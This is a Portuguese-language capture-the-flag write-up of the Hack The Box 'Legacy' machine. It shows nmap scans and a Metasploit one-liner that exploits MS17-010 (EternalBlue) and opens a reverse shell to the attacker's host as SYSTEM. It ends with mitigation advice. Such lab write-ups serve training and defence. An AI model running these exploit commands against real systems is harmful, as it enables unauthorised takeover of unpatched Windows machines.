0xEtern4lW0lf
Hack The BoxEasyWindows

Legacy

4 min de leitura
#SMB#MS17-010#EternalBlue#Windows XP#Metasploit

Introdução

https://app.hackthebox.com/machines/Legacy Legacy é uma máquina Windows da plataforma Hack The Box, classificada oficialmente como Easy. É uma das máquinas mais antigas e conhecidas da plataforma, ideal para quem está começando com pentest em ambientes Windows, já que expõe um serviço SMB extremamente desatualizado (Windows XP) vulnerável a exploits públicos e bem documentados. IP alvo utilizado durante o teste: 10.10.10.4

Escaneamento

O primeiro passo foi enumerar as portas abertas na máquina com nmap, primeiro varrendo todas as portas TCP e depois fazendo uma varredura mais detalhada (detecção de versão e scripts padrão) apenas nas portas encontradas.

ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.10.4

O resultado mostrou apenas três portas abertas, todas relacionadas a serviços de rede da Microsoft:

  • 135/tcp — msrpc
  • 139/tcp — netbios-ssn
  • 445/tcp — microsoft-ds (SMB) O banner e o comportamento do serviço SMB indicavam se tratar de um Windows XP, um sistema operacional extremamente antigo e sem suporte a atualizações de segurança há muitos anos — um forte indicativo de que a máquina seria vulnerável a falhas clássicas de SMB.

Enumeração

Com o SMB como único vetor de ataque relevante, o passo seguinte foi rodar os scripts de vulnerabilidade do próprio nmap contra as portas 135, 139 e 445 para confirmar quais falhas conhecidas estavam presentes no serviço.

sudo nmap -sS --script=vuln -p 135,139,445 10.10.10.4

O scan de vulnerabilidades confirmou a exposição a duas falhas clássicas de SMB no Windows:

  • MS08-067 (CVE-2008-4250) — falha de estouro de buffer no serviço Server, explorável remotamente.
  • MS17-010 / EternalBlue (CVE-2017-0143 a CVE-2017-0148, sendo a CVE-2017-0144 a mais associada ao EternalBlue) — falha crítica no processamento de requisições SMBv1 que permite execução remota de código. Como a máquina estava vulnerável a ambas, optei por seguir com a exploração via EternalBlue (MS17-010), por ser a mais direta de explorar com módulos já prontos no Metasploit.

Exploração

SMB vulnerável a MS17-010 (EternalBlue)

O serviço SMB rodando na porta 445 estava vulnerável ao MS17-010 (EternalBlue), identificado pela CVE CVE-2017-0144. Essa vulnerabilidade afeta a implementação do protocolo SMBv1 no Windows e permite execução remota de código sem autenticação, através do envio de pacotes SMB manipulados que exploram um erro de manipulação de memória no kernel. Para explorar essa falha, utilizei o módulo do Metasploit Framework windows/smb/ms17_010_psexec, que automatiza todo o processo de exploração e entrega um shell diretamente com privilégios de SYSTEM, sem necessidade de escalonamento adicional.

msfconsole -q -x "use exploit/windows/smb/ms17_010_psexec; set rhosts 10.10.10.4; set lhost tun0; set lport 443; run"

Ao executar o exploit, o Metasploit:

  1. Confirma que o alvo está vulnerável ao MS17-010.
  2. Usa o EternalBlue para corromper a memória do kernel e injetar um payload.
  3. Utiliza a técnica de PSExec sobre SMB para executar o payload como serviço.
  4. Retorna uma sessão Meterpreter (ou shell) já com privilégios de NT AUTHORITY\SYSTEM.

Pós-exploração

Como o módulo ms17_010_psexec já explora diretamente uma falha de kernel que concede o nível mais alto de privilégio da máquina, não foi necessário nenhum passo adicional de escalonamento de privilégios — o acesso obtido já é equivalente a administrador total do sistema. Após a sessão ser estabelecida, a confirmação do nível de acesso foi feita com:

whoami

Retornando nt authority\system, confirmando o controle total da máquina, o que permitiu a leitura das flags de usuário e de administrador diretamente no sistema de arquivos.

Anexos

  • nmap — usado para varredura de portas e para os scripts de detecção de vulnerabilidades (--script=vuln).
  • Metasploit Framework (msfconsole) — usado para explorar o MS17-010 através do módulo exploit/windows/smb/ms17_010_psexec.

Mitigação

Para corrigir a vulnerabilidade explorada nesta máquina, as seguintes ações são recomendadas:

  • Aplicar o patch oficial da Microsoft referente ao MS17-010 (boletim de segurança de março de 2017), que corrige as falhas no tratamento de requisições SMBv1.
  • Aplicar também o patch do MS08-067, caso o sistema ainda dependa de versões extremamente antigas do Windows.
  • Desabilitar o protocolo SMBv1 por completo, já que ele está obsoleto e é a origem de diversas vulnerabilidades críticas conhecidas — o SMBv2/v3 deve ser utilizado no lugar.
  • Manter o sistema operacional atualizado, evitando o uso de versões sem suporte, como o Windows XP, que não recebe mais atualizações de segurança.
  • Restringir o acesso às portas 135, 139 e 445 apenas a hosts e redes confiáveis por meio de firewall, evitando exposição direta desses serviços à internet.
  • Utilizar segmentação de rede e soluções de detecção de intrusão (IDS/IPS) para identificar tentativas de exploração de falhas conhecidas de SMB.